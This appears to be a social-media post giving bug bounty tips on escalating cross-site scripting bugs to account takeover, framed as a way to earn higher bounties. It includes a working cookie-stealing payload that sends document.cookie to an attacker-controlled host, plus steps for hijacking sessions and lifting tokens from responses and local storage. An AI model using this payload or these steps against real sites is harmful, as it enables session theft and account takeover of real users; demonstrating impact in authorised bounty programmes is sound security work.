Rafiqul Islam

Bug Bounty Tips: Here's how you can escalate XSS Issues to an Account Takeover💸 Have you Identified a XSS Issue? Don't be too quick to report it with alert(1) or alert(document.cookie) for a Medium payout. Here's how you can escalate XSS Issues to an ATO for much higher bounties: 1️⃣Always try Exfiltrating session based cookies to your attacker controlled server. Here's a simple payload you can use to demonstrate ATO: "><img src="x" onerror="document.location.href='https://attackersite(.)com?cookies=' + document.cookie + ''"> This payload exfiltrates user cookies and forwards them to an attacker-controlled site. Create a Proof of Concept (PoC) video showing how these cookies can hijack a user's session e.g. send a request to any authenticated API and demonstrate that the cookies work. 2️⃣If cookies are set as HTTPOnly, try escalating the Impact by performing sensitive client-side actions, such as changing a user's email address or password leading to an account takeover 3️⃣If sensitive client-side actions aren't possible, check for leaked session cookies or tokens in the server's responses on all pages. Use your XSS payload to exfiltrate these to your attacker controlled server to get an account takeover 4️⃣If no session cookies or tokens are found on any pages, check the browser's local storage for stored session tokens and accordingly craft your XSS payload to exfiltrate these to your attacker controlled server leading to an account takeover. 🚀Lesson: Always look for ways to escalate XSS Issues to account takeovers as this could potentially boost the bounty amount for that report by 2-10x! 💡 #BugBounty #InfoSec #xss #crosssitescripting #Cybersecurity #BugBountyTips #HackerOne #BugCrowd #SecurityTips